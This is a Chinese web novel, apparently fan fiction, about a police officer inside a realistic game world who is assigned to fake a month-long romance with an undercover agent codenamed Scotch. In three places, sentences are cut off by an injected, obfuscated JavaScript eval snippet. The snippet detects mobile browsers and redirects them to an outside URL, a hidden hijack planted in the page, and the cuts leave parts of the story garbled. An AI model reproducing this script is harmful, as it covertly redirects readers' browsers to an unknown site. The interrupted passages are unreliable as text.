《恋爱版块被上交给国家了》 1. 001 “一之羽警官!” 正准备给盆栽浇水的一之羽巡一把捞起外套,长腿一迈风风火火往外跑。 “嫌疑人现身了?边走边说!” 忍足警官刚喘匀气,连忙把人拉住:“不是,你忘了,那桩案子现在已经不归我们管了,警备企划课昨天就接管了啊。” 一之羽巡紧急刹车,默默把已经穿了一半的外套脱下来,望着天花板惆怅地叹了口气。 “你第一次遇到这种事,一下子反应不过来也正常。” 忍足警官从业多年,曾经也是一位脑门一热就冲进会议室揪着上司领子吵架的热血青年,直到某次任务因为一时冲动出了差错伤到了头,出院后大彻大悟,从此开始修身养性,十几年下来对案子被截胡这种事也早就习以为常,他安慰道:“警备企划课那群家伙就是这样,鼻孔长在脑门上,反正最后案子能被好好解决,谁来解决都一样,习惯就好。” “这种事还是不要习惯比较好吧……” 无奈归无奈,但事情已成定局,也没什么好说的了。一之羽巡拿起喷壶继续浇花,避开叶子,习惯性摸了摸盆栽里的土壤,微愣。 ……很湿润。 他最近一直在忙,忘了定期浇水,是哪位同事帮他浇的吗? 职业习惯,他忍不住凑近检查了一下花盆。 忍足警官还在一旁苦口婆心地劝着:“你是职业组出身,综合素质又强,二十六岁的警视啊,就算职业组起点本来就高,到你这种程度也夸张过头了,全国上下能找出来几个赶得上你的,照你这个升职速度,三十五岁之前升到警视正都不是没有可能,就别太在意那一个两个案子了,人生苦短,及时行乐……诶,我们办公室室花要开花了吧。” “这个月就能开了。”一之羽巡后知后觉地想起来:“对了,忍足警官,你找我有什么事吗?” 正在乐呵呵想后辈的花养得真不错的忍足警官一拍脑门:“刚刚你不在,秘书处有人找你,说让你去十八楼找飞鸟长官!” “……?!” 面对后辈一脸“这种事情早点说啊”的震惊脸,忍足警官目移:“你知道的,上了年纪就容易记性不好……” 来不及多说,一之羽巡起身往外走,刚出办公室,又想起来什么,转头扒着门口大声道:“麻烦帮我把花盆放到窗台上晒晒阳光!” “放心,你的花就是我的花,这次绝对不会忘!” 飞鸟长官的办公室在顶楼,一之羽巡盯着电梯楼层逐渐增大的数字,思索那位长官找自己会有什么事。 就算他今年破格提了警视,跟那位顶顶顶顶头上司地位也依然天壤之别,怎么会突然想到召见他。 他甚至细细回想了一遍自己这段时间处理的每一个案件,最终得出结论,除了被中途截胡的那个以外全部都很完美,没有任何可以摘指的地方。 顶楼的人员流动性远小于其他忙得不可开交的楼层,一路上没有碰到任何人,只有闪烁着红点的监控证明一切并非静止,一之羽巡站在一间挂着【警察厅长官-飞鸟】的办公室门前,缓缓吐了口气,抬手敲门。 仿佛已经等待许久了,几乎是刚放下手,门内就传来了一声“进”。 推开门,映入眼帘的并不是想象中的肃穆情景,穿着衬衫的男人正在泡茶。 他关上门,鞠了个躬:“抱歉,长官,我来晚了。” “不,时间刚刚好,过来坐吧。” 同在一栋大楼办公,他曾经远远看过几次被簇拥着的顶头上司,或许是因为气质儒雅随和,这位长官看起来比实际年龄更年轻一些。 不止于此,对一位警察厅长官来说,在这个年龄就坐到这个位置,本就已经不是简简单单一句年轻有为就能涵盖得了的了。 时间一分一秒过去,一之羽巡眼观鼻鼻观心,耐心等待顶头上司开口。 一杯茶被递过来,他刚要起身去接,飞鸟长官说:“坐着就好,不用拘谨。尝尝味道如何?” 一之羽巡道谢,捧着杯子抿了一口,有些意外:“是京都宇治的特级玉露吗?” 这次轮到飞鸟长官诧异了:“看来你对茶叶有些研究。” 一之羽巡坦言:“其实我喝不出太大区别,不过我的兄长很喜欢这种茶,有些印象。” 接下来的对话没什么特别,大多都是无关紧要的废话,这茶越喝越一头雾水,一之羽巡自知没有直接提问的资格,只配合回答。 终于,飞鸟长官宣布结束语:“今天聊得很愉快,谢谢你来陪我喝茶。” 那就是他可以滚蛋了的意思,离开前,一之羽巡问:“长官,下次什么时候再喝茶?” “……哦?” 正在整理桌面的飞鸟长官抬起头,饶有兴趣:“你为什么会觉得我还会请你上来喝茶?” 刚才那话的确显得自作多情,不过那不影响一之羽巡说出自己的想法:“您并没有说找我来是为了什么,那这次应该只是测试,我觉得自己表现得还不错,应该过了第一关了吧。” 飞鸟长官盯着他看了几秒,忽然大笑起来:“你果然很有趣,不用等到改天了,我这里还有另一种茶叶,要尝尝看吗?” 一之羽巡敬了个礼:“我的荣幸!” 喝茶当然只是借口,重新坐下后,飞鸟长官拿出了一张照片。 一之羽巡接过照片,上面是一个年轻男性,目测年龄在24~26岁之间,他在飞鸟长官的示意下将照片翻过来,背面写了几个字母。 【Scotch】 “苏格兰?” 飞鸟长官点头:“没错,苏格兰——这是这个人的代号。” ——代号。 那就代表真实姓名和身份都不方便对他透露了。 “一之羽君,你的优秀过去我就有所耳闻,我相信如果是你,一定能完美完成这项任务。” 一之羽巡坐直:“您讲,我一定会尽我所能。” 飞鸟长官满意地笑了:“我需要你和照片上的这个人谈一场为期一月的恋爱。” “……?” 一之羽巡轻微宕机,对上顶头上司的目光,才敢肯定自己真的没听错。 虽然不解其意,但过去为了办案也不是没乔装打扮过,扮个同性情侣也没什么大不了,他快速做出了反应:“我知道了,那我的任务是什么?” 保护证人?搜集情报?配合伪装?还是其实这是一个嫌疑人要取得信任后借机把他抓起来? 一个让飞鸟长官大费周章私下找他的任务,一定不容小觑。 “苏格兰身份特殊,目前还不能向你透露太多信息,你这次的任务就是和苏格兰维持一个月的恋爱关系,在此期间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353356|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请把他当成你真正的恋人来对待。他会主动联系你,接下来也会配合你行动。” 一之羽巡看着照片上的人,抬眸问:“那一个月后……?” 飞鸟长官笑呵呵地倒了杯茶:“甩掉他。” …… 一之羽巡带着新鲜出炉的“男朋友”的照片以及一盒茶叶离开了飞鸟长官办公室。 他走进电梯,自言自语:“怪是怪了点,不过既然是飞鸟长官发布的任务,红方首领级别的NPC……那应该算在推主线吧?” 他调出游戏版面,半透明的屏幕浮现在视网膜上,一连串的通知跳了出来。 【游戏小助手3.0:亲爱的红方玩家,今天也在为了消灭罪恶而不留余力吗?】 【日行一善(0/1):身为警界明日之星的你,一定每天都会温暖到大家吧?】 【晨间提醒:亲爱的红方玩家,您今天的每日任务还未完成,请留意时间。】 【午间提醒:亲爱的红方玩家,您今天的每日任务还未完成,请留意时间。】 【游戏小助手3.0:亲爱的红方玩家,恭喜您解锁新角色——[警察厅长官-飞鸟环]】 “被忍足警官的健忘症debuff传染了吗,连每日任务都忘了做……” 一之羽巡走出电梯,准备去其他科室转两圈,原本在跟进的案子飞了,飞鸟长官的任务还没开始,闲着也是闲着,随便找个案子搭把手刷刷经验值,顺便还能把每日任务做了。 来到七楼,前往公安课的路上,身后突然传来一道压低的呼唤声:“一之羽警官!” “嗯?”一之羽巡转身,一颗头正从监控室门内悄悄探了出来。 ——监控室NPC山田警官,技术性人才,在新手任务阶段配合他破过案,爱好甜食。 “一之羽警官,你现在忙吗?可以帮我顶下班吗?最多半个小时,半个小时之内我一定回来!” 一之羽巡看了眼表,欣然答应:“当然。” “太感谢了,一会儿请你吃冰淇淋!” 【日行一善(1/1):身为警界明日之星的你,果然每天都会温暖到大家!】 一之羽巡临时改变计划,坐进了监控室里,无所事事,研究了一下临走前飞鸟长官送的那盒茶叶,没看出来什么特别,不过拿来送给喜欢喝茶的兄长刚刚好。 “只是发布任务就发这么贵的礼物,不知道完成任务后会给什么奖励。” 他干坐了一会儿,余光中瞥到桌面上摆着的仙人球,突然想起了自己养在办公室的那盆花。 前段时间为了推支线任务忙得不可开交,忘记定期浇水,但花盆里泥土仍旧湿润,两天内一定浇过水。 不知道是哪位同事帮的忙,得好好感谢一下才行。 他调出办公区的前两天的监控,调成16倍速,拄着下巴看起来。 前天奋战到最后的人是日常发表咸鱼躺平言论的忍足警官,不出所料,他临走前果然忘了关灯,一之羽巡正准备直接快进到第二天早上,空无一人的公安课办公室的门突然开了。 捕捉到那个径直走向盆栽的身影,一之羽巡眼疾手快地按下了暂停键。 他凑近屏幕,表情逐渐迷惑起来,不可置信:“飞鸟长官?!” 这对吗?? 出Bug了吧?? 2. 002 警察厅长官一大清早下凡跑到公安课浇花,就算有监控录像为证也没人敢信。 这种诡异的剧情,要么是游戏Bug了,要么就是隐藏设定,后期用得上。 他一时之间分不清到底是飞鸟长官偷偷给他浇花更离谱还是飞鸟长官让他去和不认识的男人谈恋爱再甩掉更离谱,最终,只能把一切归结为: ——游戏策划又在发癫。 山田警官匆匆跑回来,抱着一大袋零食,于是一之羽巡一手拎着高级茶叶一手拿着冰淇淋,口袋里被塞了一把巧克力,再次踏上了回公安课的旅程。 办公室里没什么人,隔壁的忍足警官也临时出任务去了,免去了八卦环节,因为正在负责的案子被截胡,一之羽巡入职以来第一次准时下了班。 他看着还亮着天,竟然感觉有些陌生。 这款红黑对决游戏主打真实性和连续性,游戏内外时间流速巨大,选择一方阵营后直到达成最高等级【红方首领】或【黑方首领】成就才算通关,而且无法存档,要么一口气通关要么游戏角色死亡才能登出,但创建的角色一旦死亡就无法复活,下次再登陆又要从零开始。 这在宣传初期是个卖点,也的确有人冲着这个去玩,不过真玩了以后很快就转变为集体骂策划脑子有坑,考试是真要动脑子答题的,打架是必须动真格的,经验值不是刷了就永久固定了的,技能太久不练就自动降档,剧情打不过,氪金不让氪,为了通关玩家只能不断在游戏里当牛马,最后因为过劳死或者找栋楼一跃解千愁强行登出游戏。 骂归骂,但这款游戏的真实性的确非同凡响,玩了这么久,从东大毕业到警校毕业后再进入警察厅一路升到警视,一之羽巡倒是挺喜欢这个模式。 烧脑的剧情没让他感觉自己当牛做马,反而感觉生命在增加! 他住在警察厅附近的公寓,这一带住了很多在警察厅警视厅工作的公务员,交通方便,环境优美,治安良好,唯一的缺点是租金略贵。 狗策划日常埋坑,住在哪里这个问题看似普通,实则在三个剧情点后会对某个支线任务产生影响,决定了玩家的升职方向,他当时选这间公寓是因为工资高有存款,显然隔壁住着的那位抢了银行五亿的劫匪也是这么想的。 一之羽巡在路上买了份便当,到家时天色也还亮着,他再次在心中感叹,下班这么早怪不习惯的。 开门时他顿了顿,转头看向门口的信箱。 他从来没寄过信,也没人给他写信,加上最近几乎住在警察厅里没时间回来睡觉,信箱上早就落了灰,但凑近仔细看,信箱其中一角被蹭掉了一点灰尘。 他打开信箱,里面被投了一封信,没寄错,收信人写着【一之羽巡】,不知道又是什么支线任务或者策划终于舍得当一次人了发了份额外奖励,他一边关门一边随手拆开信封。 果然,策划是不可能当人的,不是奖励而是新任务的线索。 “问候、时间、地点……” 一之羽巡扫过短短几行字,目光在最后的落款处停下。 【Scotch】 他靠在沙发里,拿出飞鸟长官给的那张照片,心想:原来是我那素未谋面的新男友寄来的啊。 职业习惯,他把信封信纸重新检查了一遍,没发现隐藏剧情,躺在沙发上举着信和照片左看看右看看,得出结论: “情书写得不怎么样,字倒是挺漂亮的。” …… 一之羽巡是个自律的人,即使休假也惯例早起,更何况他今天还有一件大事要做:和素未谋面的男朋友首次约会。 飞鸟长官的秘密任务听起来不太靠谱,不过游戏就是这样,不能用正常人类的逻辑思维来挑战策划的灵机一动,隔壁过来送过伴手礼的邻居都有可能是在逃抢劫犯为他的履历添砖加瓦,这位苏格兰同志说不定也是个隐藏大礼包。 一之羽巡去跑了步,回来的路上顺便买了早饭,洗了个澡后便准备出门。 他坐电车前往约定的地点,和上班族们人挤人,估摸着那位苏格兰对谈恋爱大概也没什么经验,毕竟很少听说谁会在周末早上约会,也不怪他刚看到那封信时没认出来是份约会邀请。 下车后走了十分钟,在海滩周边,一之羽巡迅速锁定了苏格兰的位置——因为几乎没人会在这个时间跑来海边呆着,少数正在离开的人都是趁着天亮看日出的,这会儿要回去补觉了。 和他想象的不太一样,从飞鸟长官的照片上看苏格兰像是个更加冷淡的人,但实际见面后却让人觉得眼前一亮如沐春风,连带着肆虐的海风都没那么把人吹成傻叉了。 众所周知,长得敷衍的NPC不一定不重要,但是长得好看的NPC一定重要! 苏格兰很敏锐,明明是背对着,却仿佛后脑勺也长了眼睛,立刻转过了身,大步迎了上来。 “一之羽君,抱歉。” 虽然对恋爱没什么经验,但苏格兰显然已经深刻意识到了第一次约会的时间地点选的都不太妙,一之羽巡笑眯眯地等了半分钟,没等来触发新任务的提醒,他不死心地站到苏格兰刚刚站着看海的栏杆旁,游戏助手依然毫无反应,倒是他慢半拍地反应过来,自己不小心把苏格兰晾在了一边。 他立刻露出一个被同事们称为亲和力满分的招牌笑容:“好久没看海了,不小心看入迷了,你就是苏格兰吧,幸会,接下来直接叫我巡就可以,我们不是在恋爱吗?” 苏格兰停顿一秒,改口:“巡君。” 一之羽巡还是觉得应该会触发新任务,就算不是主线任务也该有个支线任务才对,有可能是没触发关键词,他熟练地把握主动权,挑起了新话题。 “我们随便聊聊好了。早餐吃了什么?” “……抱歉,我没吃。” “这可不行,早餐可是很重要的。” 一之羽从口袋里拿出巧克力,“警察厅附近的一家甜品店推出了巧克力盲盒,替我尝尝这颗是什么口味的吧。” 苏格兰接过去,看了看巧克力,又抬眸看了看他,拆开包装咬了一口:“是酒心的。” 一之羽巡“嘶”了一声:“不妙,没吃早饭可不适合吃这个。” 他刚想换一个,苏格兰已经把剩下的半颗巧克力塞进了嘴里,正要递过另一颗巧克力的动作一顿,无奈道:“看来味道还不错?” “谢谢,很好吃。你喜欢甜食吗?” 不知道这算不算互相了解的过程,不过一之羽巡没说喜欢也没说不喜欢:“可以补充体力,也可以放松心情,是个不错的选择。” 诸伏景光从善如流地接过第二颗巧克力,心想:符合情报,一之羽巡刚刚进入警察厅时为了蹲守某个罪犯,长时间没有休息和进食,因为低血糖差点失手,从此以后他就热衷于带各种各样的糖果在身上。 他在昨天接到了新指令。在外执行卧底任务,每次联络都伴随着多重风险,加上这次是单向联络,只说具体原因后面再详谈,但上级向他强调了这个任务非常重要,让他务必尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【亲爱的红方玩家,无论是亲情友情还是爱情,你可以以最直观的方式看到别人对你的评价】 诸伏景光察觉到和自己交叠在一起的那只手突然握紧,他眨了下眼,没转头,但也跟着收紧了手指,仿佛一对真正的爱意正浓的情侣。 对方对待这个任务十分认真,他也必须严阵以待,他能扮演组织成员苏格兰,那么扮演一个月的恋人自然也不在话下。 一之羽巡看着半透明的游戏版面,直到苏格兰一本正经地跟他改为十指相扣才回过神。 情侣十指相扣合情合理,看来苏格兰比他想象中还放得开,一之羽巡没管,继续研究新解锁的游戏版块。 恋爱版块,没用,隐藏。 至于好感度系统…… 一之羽巡看了一眼放在两人之间的手,调出了苏格兰的好感度。 【****(苏格兰):3/100】 诸伏景光突然发现一之羽巡一脸奇怪地看过来,他迟疑道:“我脸上沾到东西了吗?” 一之羽巡笑呵呵地摇了摇头。 什么情况,这个总分真的是100而不是10吗? 一之羽巡不死心地和坐在对面的女孩对视了一眼,对方脸颊微红,避开视线,好感度37。 他又看了一眼自己名义上的恋爱对象,调出好感度版块,数值依旧是3。 “……”总分真是100啊,他还以为出Bug了呢。 他清了清嗓,露出一个温柔帅气的笑容:“那片海很漂亮,也很安静,我很久没像这样放松地看过海了,谢谢你。” “你喜欢就好。” 【****(苏格兰):+0.2】 【****(苏格兰):3.2/100】 一之羽巡:……艹。 这对吗?? 3. 003 这个好感度真的没有问题吗? 一之羽巡不死心地盯着苏格兰看了好一会儿,不得不承认,小数点竟然真的没标错。 他暗自咋舌,不愧是警察厅长官发布的秘密任务里的NPC,还真苛刻,如果这是个恋爱游戏,苏格兰得是地狱级别难度的SSR。 在游戏世界里最不能相信的就是狗策划的良心,鬼知道那些稀奇古怪的小巧思会不会另有深意,他准备最近多测试一下好感度系统,如果只有苏格兰像这样按照小数点磨洋工式加好感度,那他就要打起精神好好刷一刷这个进度条了。 来自身侧的注视终于消失了。 诸伏景光松了口气。 他并不是一个高调的人,成为卧底搜查官后更是开始本能地避开他人的注意,那束近距离的热切又直白的目光让他有些不习惯,交叠在一起的手仿佛不断升温,周遭人多眼杂,他只好掩饰性地将脊背再挺直些,祈祷这段路程尽快过去。 ……到底是出于什么原因飞鸟长官才安排了这样一个任务啊。 “都别动!” 一之羽巡&诸伏景光:“?” 公交车头部,一个戴着帽兜的男人突然站起来,颤颤巍巍地举起手里的东西胡乱指了一通,车厢内先是寂静了一瞬,而后临近的乘客尖叫着后退,空出一片空地,只剩下动弹不得的司机惊恐地猛打方向盘躲开前面的一辆车,车里的乘客跟着东倒西歪地跌坐一团。 车流和鸣笛声仿佛瞬间从这辆公交车上剥离,直到有人失声道:“枪!!他有枪!” 混乱的场面成功取悦了劫匪,也成功为他增添了几分底气,面目狰狞:“都别动,把你们身上的——嗷!!” 诸伏景光还没来得及作出反应,原本好端端跟他手牵手坐在一起的人凭空消失,再抬起头时,沉闷的、结结实实的撞击声击打在鼓膜,初次见面的恋人同志已经一脚踩着劫匪一边拨通了电话。 “对,是我,上次在那个联合案里见过的……我在都03线上碰到个持枪劫匪,下一站是霞关,辛苦你们来人处理一下吧……不用客气,也就是我今天休假,不然就顺路给你们把人送过去了……” 大概是察觉到了他的视线,若无其事地打着电话的人把手机稍微拿远了一点,仿佛鞋底也长了眼睛一般一脚踩住劫匪正悄悄试图摸向手枪的手,朝着地上的那把枪扬了扬下巴:“腾不出手,帮忙捡一下证物。” 说完,他又扬声道:“师傅,麻烦下站稍微多停一小会儿,方便把这位趴在地上的乘客送下车!” “好……好的!!” 诸伏景光压低帽檐,走过去把那把手枪捡起来,目光落在劫匪在挣扎中被挣开的衣服一角,瞳孔刹那间一缩。 他屏住呼吸,防止打草惊蛇,装作什么都没发现一般起身,凑近正在打电话的一之羽巡耳边:“他身上……” “嗯?”一之羽巡顺着暗示的目光看过去,皱了下眉。 劫匪已经被用随身携带的手铐控制住了——不要问为什么在以谈恋爱为目的的休假日还随身携带这种东西,这是随时都准备为人民服务的优秀红方玩家应有的基本操守。 一之羽巡微不可见地摇了下头,那是不要声张的意思,他装作手机掉了,蹲下身想检查一下。 然而计划赶不上变化,后排的某个乘客骤然发出一声尖叫:“有炸弹!!那个人身上有炸弹!!!” 诸伏景光猛地转身看过去,他本能地想要安抚现场,开口前的瞬间意识到自己的身份并不适合在这种场合里表现得太引人注目,立刻闭上了嘴。 与此同时,本就受过一次惊吓的乘客们已经再度恐慌起来。 “怎么办?!” “啊啊啊——” “啊啊啊啊啊啊——” “大家!” 仿若一针镇定剂般清亮的嗓音穿透了重重声浪,明明音量并不大,却出奇地清清楚楚地传入了每个人的耳朵里:“大家稍安勿躁,已经没事了。” 刚刚制伏了劫匪的年轻人说是掉了手机,起身时却拎着炸弹站了起来,笑容灿烂:“我是警视厅爆/炸/物处理班的警察松田,请大家放心,我刚刚已经认真检查过了,这枚炸弹是假的,我以我的职业生涯担保,它绝对不会爆炸,剩下的等警视厅来接管就好,还请大家在下一站有序下车。” 温柔的笑容和平缓有力的话语抚平了车厢内的焦躁不安,乘客们你看看我我看看你,三三两两地坐回原处。 诸伏景光瞥了一眼被一掌击晕的劫匪,又看向被小心翼翼地放在一旁的“假炸弹”,压低声音问:“爆/炸/物处理班?” 资料里没这项。 “我去年想去爆/炸/物处理班学一段时间,可惜那边新晋升的小队长松田君软硬不吃,无论如何都不肯让我在他队里旁听。” 一之羽巡挑了下眉,怕其他人听到,凑近了几分,小声说:“偶尔模糊其词一点问题会变得更简单,这是善意的谎言,对吧?” 况且他是真的勤勤恳恳点亮了拆弹技能,这种简陋的初级引/爆/装/置,不到十秒钟就能解决。 温热的呼吸扑在耳侧,诸伏景光莫名有些不自在,他往旁边挪了半步:“……对。” 一之羽巡把抢劫犯拎到角落里看着,警视厅效率很高,还没到站就已经听到了警笛声。 他率先带着劫匪下车,把人移交给警视厅后站在路边和搜查一课的目暮警官握手寒暄,新来的小刑警一边维持秩序一边安慰着受惊的乘客。 “多亏有你在,对了,你今年升到警视了吧?” 一之羽巡谦虚地聊了几句,余光中瞥到一个身影,转头笑着说:“那位音域很广的女士,也麻烦跟着走一趟吧。” 那位正被小刑警扶下公交车的乘客一愣,捂着胸口一脸迷茫,仿佛仍旧因为刚刚的危险状况心有余悸:“我……你是指我吗?” 一之羽巡笑眯眯道:“作为拥有透视眼的特殊人才,警视厅欢迎您莅临指导。” 他朝那个小刑警使了个眼色,可惜对方没反应过来,但刚刚仿佛虚弱得走不了路却一秒变得健步如飞的职业女性还是让在场的刑警们一拥而上,最终被客客气气地请进了警车,成功打卡警视厅一日游,至于接下来会不会变成长期旅行就不在他要关心的范畴内了。 目暮警官倒是相信这位大名鼎鼎的一之羽警官,但这位重点目击证人肉眼可见地很难请回警视厅做笔录,还是要问清楚才好。 对方和传闻中一样有颗玲珑心,在他开口问之前就解释起来:“公交车正在行驶中,封闭空间又人员密集,一旦引发骚乱,所带来的后果会成倍扩大,我有意挡住其他乘客的视线再制服劫匪,劫匪在车厢最前面,她坐在车厢的右后侧方,从她的角度看明明不能第一时间看到手枪也根本看不到炸弹,却两次尖叫引起恐慌,打包一起带回去查查准没错。” “辛苦你了,一之羽警官,帮了大忙了!” “客气,下次联合办案还要麻烦您多多关照。” “一定一定!” 那位见义勇为的休假警官和朋友一起离开了,直到彻底看不到那道身影,刚进警视厅不久的小刑警才终于松了口气:“真不愧是警察厅的人,气势真的好强,明明一直笑着但就是不敢跟他对视……” “别犯傻了,也不是所有公安都能像他那样,那可是一之羽巡。” “什么?!就是那个传说中升职速度跟坐火箭一样的……” 目暮警官敲了一下新下属的脑袋:“没错,就是那个破案速度跟坐火箭一样的被叫做警界明日之星的一之羽巡,你还有得学呢!快点回去做笔录!” “是!!我会努力的!!” 【日行一善(1/1):身为警界明日之星的你,果然每天都会温暖到大家!】 每日任务顺势搞定,一之羽巡心情不错,他多看了苏格兰一眼,才发现好感度已经涨到了4.1。 ……多么令人震撼的0.9分啊! 所以这么精彩的剧情真的连一个整数都不配拥有吗?!亏他还特意把最帅气的角度留给了苏格兰。 可能是错觉,诸伏景光突然觉得投在自己身上的视线有那么一瞬间变得幽怨起来,他打了个激灵,转过头,只看到了脸上带着歉意笑容的一之羽巡朝自己跑过来。 “抱歉,久等了吧。” 诸伏景光压下心中的怪异感,摇摇头。 一之羽巡主动伸出手:“这里距离甜品店已经不远了,我们走着过去吧。” “……?”诸伏景光慢半拍地才反应过来对方伸手的意思:“在街上还……没关系吗?” 一之羽巡恍然大悟,不好意思地笑笑:“怎么说呢,如果我……抱歉,不该说如果的,我们现在就是在恋爱。” 仿佛被催眠了一般,一之羽巡一本正经地纠正了自己的漏洞,重新说:“我喜欢一个人,和他在一起了,那就一定会光明正大地告诉所有人,这个人就是我全心全意喜欢着的人。” 诸伏景光再次想:一之羽巡是一个很敬业的人,即使是这种听起来难以理解的任务,也依然打起了十二分精神对待。 他敬佩这种端正严谨的态度,也为对方迄今为止展现出的专业素养感到赞叹,当年他选择成为卧底搜查官,毅然决然走上了一条注定无法被看到的路,与他走在截然相反却殊途同归的光明之路上的一之羽巡身上存在着他少年时的憧憬和美好愿景。 诸伏景光伸出手:“那就……” “不了。”一之羽巡与那只手径直错过,脚步轻快,“等到没人注意的地方再练习吧。” 诸伏景光半迟疑半不解,追上去问:“可你刚刚不是说……” 一之羽巡理所当然道:“全心全意喜欢着一个人,那又怎么会不考虑他的感受呢?” 诸伏景光低头看向自己的手,指节蜷了蜷,深吸了一口气:“我明白了。” 这位小数点哥趁他不知道的时候又明白什么了? 为了红方首领的秘密任务而周末不加班但胜似加班的一之羽巡耸耸肩,不准备太过深究那点卡顿,指着前方的某个粉色招牌介绍:“到了,就是这家,我很喜欢这家店的巧克力圣代,你一定要尝尝!” 今天是周末,店里人流量不小,不过还没到顾客最为密集的中午,一之羽巡轻车熟路地跟店里的服务生打了声招呼,回过头,身旁空空如也,苏格兰已经找了个空位坐下。 看着那个跟周遭的一众女高显得格格不入的拘谨身影,一之羽巡忽然被戳中了笑点。 什么啊,居然还特意坐了最角落的桌位。 在主动招手示意之前,诸伏景光远远对上了那束他还没能完全习惯的目光,他唇角的弧度微僵,几近本能地在对视还未超过一秒时率先别开了视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353358|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那个人仿佛天生就很擅长把握环境所及的一切细节,明明是第一次见面,以往引以为豪的隐匿却仿佛失效,无处遁逃。 对身为杀手的【苏格兰】来说,这不是什么值得高兴的事。 不对,他的思路又跑偏了。 诸伏景光垂眸思索。 恋人能够随时随地发现存在感不高的自己,那第一反应该是高兴才对,虽然见面还不到两小时,但对方已经完全沉浸在了这场任务里,全心全意扮演着自己拿到的角色,身为任务的执行者之一,他决不能拖后腿。 于是诸伏景光重新抬起头,迎着目光还回去了一个笑容。 一之羽巡点单的话音一顿。 ……那位苏格兰的眼睛还挺漂亮的,和浮于表面的笑容不一样,真情实感笑起来时眼尾会上挑得更加明显,也就让那双眼睛看起来愈发特别。 他再次想:长得敷衍的NPC不一定不重要,但是长得好看的NPC一定重要。 店员问:“这次也是巧克力圣代吗?” 正走着神的一之羽巡点点头,突然反应过来什么,重新看了一遍菜单,换了两份招牌慕斯蛋糕。 服务生把甜品送过来,诸伏景光迟疑:“巧克力圣代?” “你没吃早餐,直接吃圣代可不行。” 一之羽巡单手拄着下巴,笑着说:“反正我们最近会经常见面,也不差这一次,总能让你吃到的。” 周围几桌在合影,诸伏景光留意到坐在对面的那个青年的目光和正从口袋里拿出手机的动作,婉拒:“不,这个就……” 无论怎么用飞鸟长官的任务找补,以他的身份,留下额外的影像资料绝对不是好事。 “我们存个电话号码吧。” 诸伏景光骤然松了口气。 一之羽巡把手机递过去,袖口不小心擦过插在慕斯上的叉子,身体比脑子更快做出的反应,两人条件反射都想弯腰去接,脑袋猝不及防撞到一起,两个人的动作都戛然而止。 随着轻微的“啪嗒”声,明明已经被抓住的叉子从指尖滑落,没人关注到东京的某家甜品店内最角落的桌位上的叉子掉在了地上,也没人注意到,有两个人因为那只掉落的叉子面面相觑,定定地看向彼此。 “苏格兰……我暂且这么称呼你。”一之羽巡缓缓道。 “我不知道你的名字是什么,也不在意你的名字是什么,就像你叫我一之羽或者巡甚至是一串数字一串代码也是在对我讲话一样,名字的本质只是一个代号,我接手了这个任务,你出现在我面前,那么在此期间,我全心全意喜欢的人就是你。” 诸伏景光看着那双眸子,日光洒下,透过玻璃的映射,那双眸子仿佛被蒙上了一层模糊细碎的阳光。 这是一个被光明眷顾着的人,成为了他曾经最想成为的那类警察,拥有他在童年遭遇不幸后对未来的自己的一切憧憬和向往。他并不是觉得自己走上这条路的决定是错误的,世界存在阴暗面,总有人要背负着黑暗前行,他是在经过深思熟虑后才决定接受邀请,自此成为一名卧底搜查官。 不是他的上级选中了他,而是他选择了这条路。 “在这一个月时间里,请让我成为你真正的恋人。” 诸伏景光的喉咙微微滚动,垂眸捡起那只叉子。 “接下来一个月里,我也会尽我所能来爱你。”他沉默片刻,说:“……巡。” 【****(苏格兰):+7.7】 【****(苏格兰):10.9/100】 …… 回到家时天已经黑了。 一之羽巡脱下外套,随手搭在沙发上,径直走进书房。 打开灯,柔和的灯光笼罩头顶,他面色平静地从笔筒里抽出一支笔。 一个小时后,连续不断充斥在这个空间内的沙沙声终于消失。 靠在椅子里的年轻公安仰着头看整合出来的资料,轻轻咬了咬笔帽。 “吃巧克力的时候在犹豫,没有表面看起来那么放松,他在防备我,或者说是本能地防备周围的一切,但最后还是吃了,是飞鸟长官安排的任务的缘故吧。手上的茧子分布……是狙击手吗?不,应该说是很擅长,力量、敏捷性、准确度……各方面的数值都很出色,比我更快接到了掉落的叉子,那种条件反射不是普通训练就能造就的,除了天赋以外一定实际应用过很多次,他在执行某项长期任务?或者是长期执行着某一类任务?无法透露姓名,在公交车和甜品店里都会优先选择最不容易被注意到的位置坐,那么应该是前者,而且在执行任务期间对外使用着一套假身份……卧底搜查官?信念感很强,长期处于高压中,已经习惯保持警惕和把握周围动向,嗯……排除本身性格因素带来的影响,他身边应该还有足够信任的人一起负压,联络人吗?还是其他同处境的同伴?能在高压之下把精神状态维持得这么稳定,还真难得,他们一定极度信任彼此,珠玉在前,那从获取信任的角度入手就不太讨巧……可以让他觉得我们有能共情的地方,下次应该表现得再孤僻敏感一点比较好吗?或者多强调一下正义感?让他觉得我和他一样,是一个会为正义心甘情愿付出一切的人……” 一之羽巡“啪”的一声合上了笔记本:“下次跟他聊聊办案受挫的事好了。” “啧,他最好别连同情分也精确到小数点后一位来加。” 4. 004 【早,要记得吃早餐哦。】 【早安,做了三明治[图片]】 【看起来味道很不错,有机会也教教我吧。】 